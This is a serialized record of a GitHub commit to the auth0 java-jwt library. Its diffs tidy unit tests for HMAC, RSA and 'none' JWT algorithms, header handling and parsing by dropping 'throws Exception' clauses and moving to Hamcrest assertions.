         String jwt = "eyJhbGciOiJIUzI1NiIsImN0eSI6IkpXVCJ9.eyJpc3MiOiJhdXRoMCJ9.mZ0m_N1J4PgeqWmi903JuUoDRZDBPB7HwkS4nVyWH1M";
         Algorithm algorithmString = Algorithm.HMAC256("secret");
         Algorithm algorithmBytes = Algorithm.HMAC256("secret".getBytes(StandardCharsets.UTF_8));
@@ -63,7 +63,7 @@ public void shouldPassHMAC256Verification() throws Exception {
     }
 
     @Test
-    public void shouldFailHMAC256VerificationWithInvalidSecretString() throws Exception {
+    public void shouldFailHMAC256VerificationWithInvalidSecretString() {
         exception.expect(SignatureVerificationException.class);
         exception.expectMessage("The Token's Signature resulted invalid when verified using the Algorithm: HmacSHA256");
         String jwt = "eyJhbGciOiJIUzI1NiIsImN0eSI6IkpXVCJ9.eyJpc3MiOiJhdXRoMCJ9.mZ0m_N1J4PgeqWmi903JuUoDRZDBPB7HwkS4nVyWH1M";
@@ -72,7 +72,7 @@ public void shouldFailHMAC256VerificationWithInvalidSecretString() throws Except
     }
 
     @Test
-    public void shouldFailHMAC256VerificationWithInvalidSecretBytes() throws Exception {
+    public void shouldFailHMAC256VerificationWithInvalidSecretBytes() {
         exception.expect(SignatureVerificationException.class);
         exception.expectMessage("The Token's Signature resulted invalid when verified using the Algorithm: HmacSHA256");
         String jwt = "eyJhbGciOiJIUzI1NiIsImN0eSI6IkpXVCJ9.eyJpc3MiOiJhdXRoMCJ9.mZ0m_N1J4PgeqWmi903JuUoDRZDBPB7HwkS4nVyWH1M";
@@ -81,7 +81,7 @@ public void shouldFailHMAC256VerificationWithInvalidSecretBytes() throws Excepti
     }
 
     @Test
-    public void shouldPassHMAC384Verification() throws Exception {
+    public void shouldPassHMAC384Verification() {
         String jwt = "eyJhbGciOiJIUzM4NCIsImN0eSI6IkpXVCJ9.eyJpc3MiOiJhdXRoMCJ9.uztpK_wUMYJhrRv8SV-1LU4aPnwl-EM1q-wJnqgyb5DHoDteP6lN_gE1xnZJH5vw";
         Algorithm algorithmString = Algorithm.HMAC384("secret");
         Algorithm algorithmBytes = Algorithm.HMAC384("secret".getBytes(StandardCharsets.UTF_8));
@@ -91,7 +91,7 @@ public void shouldPassHMAC384Verification() throws Exception {
     }
 
     @Test
-    public void shouldFailHMAC384VerificationWithInvalidSecretString() throws Exception {
+    public void shouldFailHMAC384VerificationWithInvalidSecretString() {
         exception.expect(SignatureVerificationException.class);
         exception.expectMessage("The Token's Signature resulted invalid when verified using the Algorithm: HmacSHA384");
         String jwt = "eyJhbGciOiJIUzM4NCIsImN0eSI6IkpXVCJ9.eyJpc3MiOiJhdXRoMCJ9.uztpK_wUMYJhrRv8SV-1LU4aPnwl-EM1q-wJnqgyb5DHoDteP6lN_gE1xnZJH5vw";
@@ -100,7 +100,7 @@ public void shouldFailHMAC384VerificationWithInvalidSecretString() throws Except
     }
 
     @Test
-    public void shouldFailHMAC384VerificationWithInvalidSecretBytes() throws Exception {
+    public void shouldFailHMAC384VerificationWithInvalidSecretBytes() {
         exception.expect(SignatureVerificationException.class);
         exception.expectMessage("The Token's Signature resulted invalid when verified using the Algorithm: HmacSHA384");
         String jwt = "eyJhbGciOiJIUzM4NCIsImN0eSI6IkpXVCJ9.eyJpc3MiOiJhdXRoMCJ9.uztpK_wUMYJhrRv8SV-1LU4aPnwl-EM1q-wJnqgyb5DHoDteP6lN_gE1xnZJH5vw";
@@ -109,7 +109,7 @@ public void shouldFailHMAC384VerificationWithInvalidSecretBytes() throws Excepti
     }
 
     @Test
-    public void shouldPassHMAC512Verification() throws Exception {
+    public void shouldPassHMAC512Verification() {
         String jwt = "eyJhbGciOiJIUzUxMiIsImN0eSI6IkpXVCJ9.eyJpc3MiOiJhdXRoMCJ9.VUo2Z9SWDV-XcOc_Hr6Lff3vl7L9e5Vb8ThXpmGDFjHxe3Dr1ZBmUChYF-xVA7cAdX1P_D4ZCUcsv3IefpVaJw";
         Algorithm algorithmString = Algorithm.HMAC512("secret");
         Algorithm algorithmBytes = Algorithm.HMAC512("secret".getBytes(StandardCharsets.UTF_8));
@@ -119,7 +119,7 @@ public void shouldPassHMAC512Verification() throws Exception {
     }
 
     @Test
-    public void shouldFailHMAC512VerificationWithInvalidSecretString() throws Exception {
+    public void shouldFailHMAC512VerificationWithInvalidSecretString() {
         exception.expect(SignatureVerificationException.class);
         exception.expectMessage("The Token's Signature resulted invalid when verified using the Algorithm: HmacSHA512");
         String jwt = "eyJhbGciOiJIUzUxMiIsImN0eSI6IkpXVCJ9.eyJpc3MiOiJhdXRoMCJ9.VUo2Z9SWDV-XcOc_Hr6Lff3vl7L9e5Vb8ThXpmGDFjHxe3Dr1ZBmUChYF-xVA7cAdX1P_D4ZCUcsv3IefpVaJw";
@@ -128,7 +128,7 @@ public void shouldFailHMAC512VerificationWithInvalidSecretString() throws Except
     }
 
     @Test
-    public void shouldFailHMAC512VerificationWithInvalidSecretBytes() throws Exception {
+    public void shouldFailHMAC512VerificationWithInvalidSecretBytes() {
         exception.expect(SignatureVerificationException.class);
         exception.expectMessage("The Token's Signature resulted invalid when verified using the Algorithm: HmacSHA512");
         String jwt = "eyJhbGciOiJIUzUxMiIsImN0eSI6IkpXVCJ9.eyJpc3MiOiJhdXRoMCJ9.VUo2Z9SWDV-XcOc_Hr6Lff3vl7L9e5Vb8ThXpmGDFjHxe3Dr1ZBmUChYF-xVA7cAdX1P_D4ZCUcsv3IefpVaJw";
@@ -174,7 +174,7 @@ public void shouldThrowOnVerifyWhenTheSecretIsInvalid() throws Exception {
     private static final String auth0IssPayload = "eyJpc3MiOiJhdXRoMCJ9";
 
     @Test
-    public void shouldDoHMAC256SigningWithBytes() throws Exception {
+    public void shouldDoHMAC256SigningWithBytes() {
         Algorithm algorithm = Algorithm.HMAC256("secret".getBytes(StandardCharsets.UTF_8));
 
         String jwt = asJWT(algorithm, HS256Header, auth0IssPayload);
@@ -186,7 +186,7 @@ public void shouldDoHMAC256SigningWithBytes() throws Exception {
     }
 
     @Test
-    public void shouldDoHMAC384SigningWithBytes() throws Exception {
+    public void shouldDoHMAC384SigningWithBytes() {
         Algorithm algorithm = Algorithm.HMAC384("secret".getBytes(StandardCharsets.UTF_8));
 
         String jwt = asJWT(algorithm, HS384Header, auth0IssPayload);
@@ -198,7 +198,7 @@ public void shouldDoHMAC384SigningWithBytes() throws Exception {
     }
 
     @Test
-    public void shouldDoHMAC512SigningWithBytes() throws Exception {
+    public void shouldDoHMAC512SigningWithBytes() {
         Algorithm algorithm = Algorithm.HMAC512("secret".getBytes(StandardCharsets.UTF_8));
 
         String jwt = asJWT(algorithm, HS512Header, auth0IssPayload);
@@ -210,7 +210,7 @@ public void shouldDoHMAC512SigningWithBytes() throws Exception {
     }
 
     @Test
-    public void shouldDoHMAC256SigningWithString() throws Exception {
+    public void shouldDoHMAC256SigningWithString() {
         Algorithm algorithm = Algorithm.HMAC256("secret");
 
         String jwt = asJWT(algorithm, HS256Header, auth0IssPayload);
@@ -222,7 +222,7 @@ public void shouldDoHMAC256SigningWithString() throws Exception {
     }
 
     @Test
-    public void shouldDoHMAC384SigningWithString() throws Exception {
+    public void shouldDoHMAC384SigningWithString() {
         Algorithm algorithm = Algorithm.HMAC384("secret");
 
         String jwt = asJWT(algorithm, HS384Header, auth0IssPayload);
@@ -234,7 +234,7 @@ public void shouldDoHMAC384SigningWithString() throws Exception {
     }
 
     @Test
-    public void shouldDoHMAC512SigningWithString() throws Exception {
+    public void shouldDoHMAC512SigningWithString() {
         Algorithm algorithm = Algorithm.HMAC512("secret");
 
         String jwt = asJWT(algorithm ,HS512Header, auth0IssPayload);
@@ -274,7 +274,7 @@ public void shouldThrowOnSignWhenTheSecretIsInvalid() throws Exception {
     }
 
     @Test
-    public void shouldReturnNullSigningKeyId() throws Exception {
+    public void shouldReturnNullSigningKeyId() {
         assertThat(Algorithm.HMAC256("secret").getSigningKeyId(), is(nullValue()));
     }
 uB     }(jG  (263dc2496257c2033b4cba37759b970b19985428j  Alib/src/test/java/com/auth0/jwt/algorithms/NoneAlgorithmTest.javaj  modifiedj  Kj  Kj  K
j  https://github.com/auth0/java-jwt/blob/4b64d9ee8977d9c32b55eac2dfc59f7775cde187/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FNoneAlgorithmTest.javaj  https://github.com/auth0/java-jwt/raw/4b64d9ee8977d9c32b55eac2dfc59f7775cde187/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FNoneAlgorithmTest.javaj  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FNoneAlgorithmTest.java?ref=4b64d9ee8977d9c32b55eac2dfc59f7775cde187j  X{  @@ -8,22 +8,22 @@
 import org.junit.rules.ExpectedException;
 
 import static org.hamcrest.Matchers.*;
-import static org.junit.Assert.assertThat;
+import static org.hamcrest.MatcherAssert.assertThat;
 
 public class NoneAlgorithmTest {
 
     @Rule
     public ExpectedException exception = ExpectedException.none();
 
     @Test
-    public void shouldPassNoneVerification() throws Exception {
+    public void shouldPassNoneVerification() {
         Algorithm algorithm = Algorithm.none();
         String jwt = "eyJhbGciOiJub25lIiwiY3R5IjoiSldUIn0.eyJpc3MiOiJhdXRoMCJ9.";
         algorithm.verify(JWT.decode(jwt));
     }
 
     @Test
-    public void shouldFailNoneVerificationWhenTokenHasTwoParts() throws Exception {
+    public void shouldFailNoneVerificationWhenTokenHasTwoParts() {
         exception.expect(JWTDecodeException.class);
         exception.expectMessage("The token was expected to have 3 parts, but got 2.");
         String jwt = "eyJhbGciOiJub25lIiwiY3R5IjoiSldUIn0.eyJpc3MiOiJhdXRoMCJ9";
@@ -32,7 +32,7 @@ public void shouldFailNoneVerificationWhenTokenHasTwoParts() throws Exception {
     }
 
     @Test
-    public void shouldFailNoneVerificationWhenSignatureIsPresent() throws Exception {
+    public void shouldFailNoneVerificationWhenSignatureIsPresent() {
         exception.expect(SignatureVerificationException.class);
         exception.expectMessage("The Token's Signature resulted invalid when verified using the Algorithm: none");
         String jwt = "eyJhbGciOiJub25lIiwiY3R5IjoiSldUIn0.eyJpc3MiOiJhdXRoMCJ9.Ox-WRXRaGAuWt2KfPvWiGcCrPqZtbp_4OnQzZXaTfss";
@@ -41,7 +41,7 @@ public void shouldFailNoneVerificationWhenSignatureIsPresent() throws Exception
     }
 
     @Test
-    public void shouldReturnNullSigningKeyId() throws Exception {
+    public void shouldReturnNullSigningKeyId() {
         assertThat(Algorithm.none().getSigningKeyId(), is(nullValue()));
     }
 u}(jG  (115de64c9fbe04af0882a56a24063a9e3cfd11e1j  @lib/src/test/java/com/auth0/jwt/algorithms/RSAAlgorithmTest.javaj  modifiedj  K
j  Kj  Kj  https://github.com/auth0/java-jwt/blob/4b64d9ee8977d9c32b55eac2dfc59f7775cde187/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FRSAAlgorithmTest.javaj  https://github.com/auth0/java-jwt/raw/4b64d9ee8977d9c32b55eac2dfc59f7775cde187/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FRSAAlgorithmTest.javaj  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FRSAAlgorithmTest.java?ref=4b64d9ee8977d9c32b55eac2dfc59f7775cde187j  X  @@ -17,15 +17,14 @@
 import static com.auth0.jwt.PemUtils.readPrivateKeyFromFile;
 import static com.auth0.jwt.PemUtils.readPublicKeyFromFile;
 import static org.hamcrest.Matchers.*;
-import static org.junit.Assert.assertThat;
+import static org.hamcrest.MatcherAssert.assertThat;
 import static org.junit.internal.matchers.ThrowableMessageMatcher.hasMessage;
 import static org.mockito.ArgumentMatchers.any;
 import static org.mockito.ArgumentMatchers.anyString;
 import static org.mockito.Mockito.mock;
 import static org.mockito.Mockito.when;
 import static com.auth0.jwt.algorithms.CryptoTestHelper.*;
 
-@SuppressWarnings("deprecation")
 public class RSAAlgorithmTest {
 
     private static final String PRIVATE_KEY_FILE = "src/test/resources/rsa-private.pem";
@@ -62,7 +61,7 @@ public void shouldPassRSA256VerificationWithProvidedPublicKey() throws Exception
     }
 
     @Test
-    public void shouldFailRSA256VerificationWhenProvidedPublicKeyIsNull() throws Exception {
+    public void shouldFailRSA256VerificationWhenProvidedPublicKeyIsNull() {
         exception.expect(SignatureVerificationException.class);
         exception.expectMessage("The Token's Signature resulted invalid when verified using the Algorithm: SHA256withRSA");
         exception.expectCause(isA(IllegalStateException.class));
@@ -119,7 +118,7 @@ public void shouldPassRSA384VerificationWithProvidedPublicKey() throws Exception
     }
 
     @Test
-    public void shouldFailRSA384VerificationWhenProvidedPublicKeyIsNull() throws Exception {
+    public void shouldFailRSA384VerificationWhenProvidedPublicKeyIsNull() {
         exception.expect(SignatureVerificationException.class);
         exception.expectMessage("The Token's Signature resulted invalid when verified using the Algorithm: SHA384withRSA");
         exception.expectCause(isA(IllegalStateException.class));
@@ -176,7 +175,7 @@ public void shouldPassRSA512VerificationWithProvidedPublicKey() throws Exception
     }
 
     @Test
-    public void shouldFailRSA512VerificationWhenProvidedPublicKeyIsNull() throws Exception {
+    public void shouldFailRSA512VerificationWhenProvidedPublicKeyIsNull() {
         exception.expect(SignatureVerificationException.class);
         exception.expectMessage("The Token's Signature resulted invalid when verified using the Algorithm: SHA512withRSA");
         exception.expectCause(isA(IllegalStateException.class));
@@ -310,7 +309,7 @@ public void shouldDoRSA256SigningWithProvidedPrivateKey() throws Exception {
     }
 
     @Test
-    public void shouldFailOnRSA256SigningWhenProvidedPrivateKeyIsNull() throws Exception {
+    public void shouldFailOnRSA256SigningWhenProvidedPrivateKeyIsNull() {
         exception.expect(SignatureGenerationException.class);
         exception.expectMessage("The Token's Signature couldn't be generated when signing using the Algorithm: SHA256withRSA");
         exception.expectCause(isA(IllegalStateException.class));
@@ -374,7 +373,7 @@ public void shouldDoRSA384SigningWithProvidedPrivateKey() throws Exception {
     }
 
     @Test
-    public void shouldFailOnRSA384SigningWhenProvidedPrivateKeyIsNull() throws Exception {
+    public void shouldFailOnRSA384SigningWhenProvidedPrivateKeyIsNull() {
         exception.expect(SignatureGenerationException.class);
         exception.expectMessage("The Token's Signature couldn't be generated when signing using the Algorithm: SHA384withRSA");
         exception.expectCause(isA(IllegalStateException.class));
@@ -438,7 +437,7 @@ public void shouldDoRSA512SigningWithProvidedPrivateKey() throws Exception {
     }
 
     @Test
-    public void shouldFailOnRSA512SigningWhenProvidedPrivateKeyIsNull() throws Exception {
+    public void shouldFailOnRSA512SigningWhenProvidedPrivateKeyIsNull() {
         exception.expect(SignatureGenerationException.class);
         exception.expectMessage("The Token's Signature couldn't be generated when signing using the Algorithm: SHA512withRSA");
         exception.expectCause(isA(IllegalStateException.class));
@@ -513,7 +512,7 @@ public void shouldThrowOnSignWhenTheSignatureIsNotPrepared() throws Exception {
     }
 
     @Test
-    public void shouldReturnNullSigningKeyIdIfCreatedWithDefaultProvider() throws Exception {
+    public void shouldReturnNullSigningKeyIdIfCreatedWithDefaultProvider() {
         RSAPublicKey publicKey = mock(RSAPublicKey.class);
         RSAPrivateKey privateKey = mock(RSAPrivateKey.class);
         RSAKeyProvider provider = RSAAlgorithm.providerForKeys(publicKey, privateKey);
@@ -523,7 +522,7 @@ public void shouldReturnNullSigningKeyIdIfCreatedWithDefaultProvider() throws Ex
     }
 
     @Test
-    public void shouldReturnSigningKeyIdFromProvider() throws Exception {
+    public void shouldReturnSigningKeyIdFromProvider() {
         RSAKeyProvider provider = mock(RSAKeyProvider.class);
         when(provider.getPrivateKeyId()).thenReturn("keyId");
         Algorithm algorithm = new RSAAlgorithm("some-alg", "some-algorithm", provider);
@@ -553,11 +552,10 @@ public void shouldBeEqualSignatureMethodResults() throws Exception {
      * Test deprecated signing method error handling.
      * 
      * @see {@linkplain #shouldFailOnRSA256SigningWhenProvidedPrivateKeyIsNull}
-     * @throws Exception expected exception
      */
     
     @Test
-    public void shouldFailOnRSA256SigningWithDeprecatedMethodWhenProvidedPrivateKeyIsNull() throws Exception {
+    public void shouldFailOnRSA256SigningWithDeprecatedMethodWhenProvidedPrivateKeyIsNull() {
         exception.expect(SignatureGenerationException.class);
         exception.expectMessage("The Token's Signature couldn't be generated when signing using the Algorithm: SHA256withRSA");
         exception.expectCause(isA(IllegalStateException.class));u}(jG  (c4a04d81179da54fda641188aa922bd31dae9c14j  9lib/src/test/java/com/auth0/jwt/impl/BasicHeaderTest.javaj  modifiedj  Kj  Kj  Kj  https://github.com/auth0/java-jwt/blob/4b64d9ee8977d9c32b55eac2dfc59f7775cde187/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FBasicHeaderTest.javaj  https://github.com/auth0/java-jwt/raw/4b64d9ee8977d9c32b55eac2dfc59f7775cde187/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FBasicHeaderTest.javaj  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FBasicHeaderTest.java?ref=4b64d9ee8977d9c32b55eac2dfc59f7775cde187j  X  @@ -25,21 +25,21 @@ public class BasicHeaderTest {
 
     @SuppressWarnings("Convert2Diamond")
     @Test
-    public void shouldHaveUnmodifiableTreeWhenInstantiatedWithNonNullTree() throws Exception {
+    public void shouldHaveUnmodifiableTreeWhenInstantiatedWithNonNullTree() {
         exception.expect(UnsupportedOperationException.class);
         BasicHeader header = new BasicHeader(null, null, null, null, new HashMap<String, JsonNode>(), objectReader);
         header.getTree().put("something", null);
     }
 
     @Test
-    public void shouldHaveUnmodifiableTreeWhenInstantiatedWithNullTree() throws Exception {
+    public void shouldHaveUnmodifiableTreeWhenInstantiatedWithNullTree() {
         exception.expect(UnsupportedOperationException.class);
         BasicHeader header = new BasicHeader(null, null, null, null, null, objectReader);
         header.getTree().put("something", null);
     }
 
     @Test
-    public void shouldHaveTree() throws Exception {
+    public void shouldHaveTree() {
         HashMap<String, JsonNode> map = new HashMap<>();
         JsonNode node = NullNode.getInstance();
         map.put("key", node);
@@ -50,7 +50,7 @@ public void shouldHaveTree() throws Exception {
     }
 
     @Test
-    public void shouldGetAlgorithm() throws Exception {
+    public void shouldGetAlgorithm() {
         BasicHeader header = new BasicHeader("HS256", null, null, null, null, objectReader);
 
         assertThat(header, is(notNullValue()));
@@ -59,15 +59,15 @@ public void shouldGetAlgorithm() throws Exception {
     }
 
     @Test
-    public void shouldGetNullAlgorithmIfMissing() throws Exception {
+    public void shouldGetNullAlgorithmIfMissing() {
         BasicHeader header = new BasicHeader(null, null, null, null, null, objectReader);
 
         assertThat(header, is(notNullValue()));
         assertThat(header.getAlgorithm(), is(nullValue()));
     }
 
     @Test
-    public void shouldGetType() throws Exception {
+    public void shouldGetType() {
         BasicHeader header = new BasicHeader(null, "jwt", null, null, null, objectReader);
 
         assertThat(header, is(notNullValue()));
@@ -76,15 +76,15 @@ public void shouldGetType() throws Exception {
     }
 
     @Test
-    public void shouldGetNullTypeIfMissing() throws Exception {
+    public void shouldGetNullTypeIfMissing() {
         BasicHeader header = new BasicHeader(null, null, null, null, null, objectReader);
 
         assertThat(header, is(notNullValue()));
         assertThat(header.getType(), is(nullValue()));
     }
 
     @Test
-    public void shouldGetContentType() throws Exception {
+    public void shouldGetContentType() {
         BasicHeader header = new BasicHeader(null, null, "content", null, null, objectReader);
 
         assertThat(header, is(notNullValue()));
@@ -93,15 +93,15 @@ public void shouldGetContentType() throws Exception {
     }
 
     @Test
-    public void shouldGetNullContentTypeIfMissing() throws Exception {
+    public void shouldGetNullContentTypeIfMissing() {
         BasicHeader header = new BasicHeader(null, null, null, null, null, objectReader);
 
         assertThat(header, is(notNullValue()));
         assertThat(header.getContentType(), is(nullValue()));
     }
 
     @Test
-    public void shouldGetKeyId() throws Exception {
+    public void shouldGetKeyId() {
         BasicHeader header = new BasicHeader(null, null, null, "key", null, objectReader);
 
         assertThat(header, is(notNullValue()));
@@ -110,15 +110,15 @@ public void shouldGetKeyId() throws Exception {
     }
 
     @Test
-    public void shouldGetNullKeyIdIfMissing() throws Exception {
+    public void shouldGetNullKeyIdIfMissing() {
         BasicHeader header = new BasicHeader(null, null, null, null, null, objectReader);
 
         assertThat(header, is(notNullValue()));
         assertThat(header.getKeyId(), is(nullValue()));
     }
 
     @Test
-    public void shouldGetExtraClaim() throws Exception {
+    public void shouldGetExtraClaim() {
         Map<String, JsonNode> tree = new HashMap<>();
         tree.put("extraClaim", new TextNode("extraValue"));
         BasicHeader header = new BasicHeader(null, null, null, null, tree, objectReader);
@@ -129,12 +129,13 @@ public void shouldGetExtraClaim() throws Exception {
     }
 
     @Test
-    public void shouldGetNotNullExtraClaimIfMissing() throws Exception {
+    public void shouldGetNotNullExtraClaimIfMissing() {
         Map<String, JsonNode> tree = new HashMap<>();
         BasicHeader header = new BasicHeader(null, null, null, null, tree, objectReader);
 
         assertThat(header, is(notNullValue()));
         assertThat(header.getHeaderClaim("missing"), is(notNullValue()));
-        assertThat(header.getHeaderClaim("missing"), is(instanceOf(NullClaim.class)));
+        assertThat(header.getHeaderClaim("missing").isMissing(), is(true));
+        assertThat(header.getHeaderClaim("missing").isNull(), is(false));
     }
 }
\ No newline at end of fileu}(jG  (328f4ab493866621292f355ad5feed672da647bfj  @lib/src/test/java/com/auth0/jwt/impl/HeaderDeserializerTest.javaj  modifiedj  Kj  Kj  K
j  https://github.com/auth0/java-jwt/blob/4b64d9ee8977d9c32b55eac2dfc59f7775cde187/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FHeaderDeserializerTest.javaj  https://github.com/auth0/java-jwt/raw/4b64d9ee8977d9c32b55eac2dfc59f7775cde187/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FHeaderDeserializerTest.javaj  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FHeaderDeserializerTest.java?ref=4b64d9ee8977d9c32b55eac2dfc59f7775cde187j  X  @@ -23,7 +23,7 @@
 import java.util.Map;
 
 import static org.hamcrest.Matchers.*;
-import static org.junit.Assert.assertThat;
+import static org.hamcrest.MatcherAssert.assertThat;
 import static org.mockito.ArgumentMatchers.any;
 import static org.mockito.ArgumentMatchers.eq;
 import static org.mockito.Mockito.mock;
@@ -37,7 +37,7 @@ public class HeaderDeserializerTest {
     private ObjectReader objectReader = new ObjectMapper().reader();
 
     @Before
-    public void setUp() throws Exception {
+    public void setUp() {
         deserializer = new HeaderDeserializer(objectReader);
     }
 
@@ -88,7 +88,7 @@ public void shouldNotRemoveKnownPublicClaimsFromTree() throws Exception {
     }
 
     @Test
-    public void shouldGetNullStringWhenParsingNullNode() throws Exception {
+    public void shouldGetNullStringWhenParsingNullNode() {
         Map<String, JsonNode> tree = new HashMap<>();
         NullNode node = NullNode.getInstance();
         tree.put("key", node);
@@ -98,7 +98,7 @@ public void shouldGetNullStringWhenParsingNullNode() throws Exception {
     }
 
     @Test
-    public void shouldGetNullStringWhenParsingNull() throws Exception {
+    public void shouldGetNullStringWhenParsingNull() {
         Map<String, JsonNode> tree = new HashMap<>();
         tree.put("key", null);
 
@@ -107,7 +107,7 @@ public void shouldGetNullStringWhenParsingNull() throws Exception {
     }
 
     @Test
-    public void shouldGetStringWhenParsingTextNode() throws Exception {
+    public void shouldGetStringWhenParsingTextNode() {
         Map<String, JsonNode> tree = new HashMap<>();
         TextNode node = new TextNode("something here");
         tree.put("key", node);u}(jG  (a40a23d46289e8c4c63eecd82f811201db801a4ej  7lib/src/test/java/com/auth0/jwt/impl/JWTParserTest.javaj  modifiedj  K	j  K	j  Kj  https://github.com/auth0/java-jwt/blob/4b64d9ee8977d9c32b55eac2dfc59f7775cde187/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FJWTParserTest.javaj  https://github.com/auth0/java-jwt/raw/4b64d9ee8977d9c32b55eac2dfc59f7775cde187/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FJWTParserTest.javaj  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FJWTParserTest.java?ref=4b64d9ee8977d9c32b55eac2dfc59f7775cde187j  XL  @@ -27,20 +27,20 @@ public class JWTParserTest {
     private JWTParser parser;
 
     @Before
-    public void setUp() throws Exception {
+    public void setUp() {
         parser = new JWTParser();
     }
 
     @Test
-    public void shouldGetDefaultObjectMapper() throws Exception {
+    public void shouldGetDefaultObjectMapper() {
         ObjectMapper mapper = getDefaultObjectMapper();
         assertThat(mapper, is(notNullValue()));
         assertThat(mapper, is(instanceOf(ObjectMapper.class)));
         assertThat(mapper.isEnabled(SerializationFeature.FAIL_ON_EMPTY_BEANS), is(false));
     }
 
     @Test
-    public void shouldAddDeserializers() throws Exception {
+    public void shouldAddDeserializers() {
         ObjectMapper mapper = mock(ObjectMapper.class);
         new JWTParser(mapper);
         verify(mapper).registerModule(any(Module.class));
@@ -58,7 +58,7 @@ public void shouldParsePayload() throws Exception {
     }
 
     @Test
-    public void shouldThrowOnInvalidPayload() throws Exception {
+    public void shouldThrowOnInvalidPayload() {
         String jsonPayload = "{{";
         exception.expect(JWTDecodeException.class);
         exception.expectMessage(String.format("The string '%s' doesn't have a valid JSON format.", jsonPayload));
@@ -78,7 +78,7 @@ public void shouldParseHeader() throws Exception {
     }
 
     @Test
-    public void shouldThrowOnInvalidHeader() throws Exception {
+    public void shouldThrowOnInvalidHeader() {
         String jsonHeader = "}}";
         exception.expect(JWTDecodeException.class);
         exception.expectMessage(String.format("The string '%s' doesn't have a valid JSON format.", jsonHeader));
@@ -87,28 +87,28 @@ public void shouldThrowOnInvalidHeader() throws Exception {
     }
 
     @Test
-    public void shouldThrowWhenConvertingHeaderIfNullJson() throws Exception {
+    public void shouldThrowWhenConvertingHeaderIfNullJson() {
         exception.expect(JWTDecodeException.class);
         exception.expectMessage("The string 'null' doesn't have a valid JSON format.");
         parser.parseHeader(null);
     }
 
     @Test
-    public void shouldThrowWhenConvertingHeaderFromInvalidJson() throws Exception {
+    public void shouldThrowWhenConvertingHeaderFromInvalidJson() {
         exception.expect(JWTDecodeException.class);
         exception.expectMessage("The string '}{' doesn't have a valid JSON format.");
         parser.parseHeader("}{");
     }
 
     @Test
-    public void shouldThrowWhenConvertingPayloadIfNullJson() throws Exception {
+    public void shouldThrowWhenConvertingPayloadIfNullJson() {
         exception.expect(JWTDecodeException.class);
         exception.expectMessage("The string 'null' doesn't have a valid JSON format.");
         parser.parsePayload(null);
     }
 
     @Test
-    public void shouldThrowWhenConvertingPayloadFromInvalidJson() throws Exception {
+    public void shouldThrowWhenConvertingPayloadFromInvalidJson() {
         exception.expect(JWTDecodeException.class);
         exception.expectMessage("The string '}{' doesn't have a valid JSON format.");
         parser.parsePayload("}{");u}(jG  (18f59f041554e8e06b05eeaf63f26bd43dbce603j  ;lib/src/test/java/com/auth0/jwt/impl/JsonNodeClaimTest.javaj  modifiedj  Kj  K1j  Kj  https://github.com/auth0/java-jwt/blob/4b64d9ee8977d9c32b55eac2dfc59f7775cde187/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FJsonNodeClaimTest.javaj  https://github.com/auth0/java-jwt/raw/4b64d9ee8977d9c32b55eac2dfc59f7775cde187/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FJsonNodeClaimTest.javaj  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FJsonNodeClaimTest.java?ref=4b64d9ee8977d9c32b55eac2dfc59f7775cde187j  X[L  @@ -20,14 +20,15 @@
 import org.mockito.ArgumentMatchers;
 
 import java.io.IOException;
+import java.time.Instant;
 import java.util.*;
 
 import static com.auth0.jwt.impl.JWTParser.getDefaultObjectMapper;
-import static com.auth0.jwt.impl.JsonNodeClaim.claimFromNode;
+import static org.hamcrest.MatcherAssert.assertThat;
 import static org.hamcrest.Matchers.*;
 import static org.hamcrest.core.IsNull.notNullValue;
 import static org.hamcrest.core.IsNull.nullValue;
-import static org.junit.Assert.assertThat;
+import static org.junit.Assert.assertNull;
 import static org.mockito.Mockito.*;
 
 public class JsonNodeClaimTest {
@@ -39,13 +40,13 @@ public class JsonNodeClaimTest {
     public ExpectedException exception = ExpectedException.none();
 
     @Before
-    public void setUp() throws Exception {
+    public void setUp() {
         mapper = getDefaultObjectMapper();
         objectReader = mapper.reader();
     }
 
     @Test
-    public void shouldGetBooleanValue() throws Exception {
+    public void shouldGetBooleanValue() {
         JsonNode value = mapper.valueToTree(true);
         Claim claim = claimFromNode(value);
 
@@ -58,15 +59,15 @@ private Claim claimFromNode(JsonNode value) {
     }
 
     @Test
-    public void shouldGetNullBooleanIfNotBooleanValue() throws Exception {
+    public void shouldGetNullBooleanIfNotBooleanValue() {
         JsonNode objectValue = mapper.valueToTree(new Object());
         assertThat(claimFromNode(objectValue).asBoolean(), is(nullValue()));
         JsonNode stringValue = mapper.valueToTree("boolean");
         assertThat(claimFromNode(stringValue).asBoolean(), is(nullValue()));
     }
 
     @Test
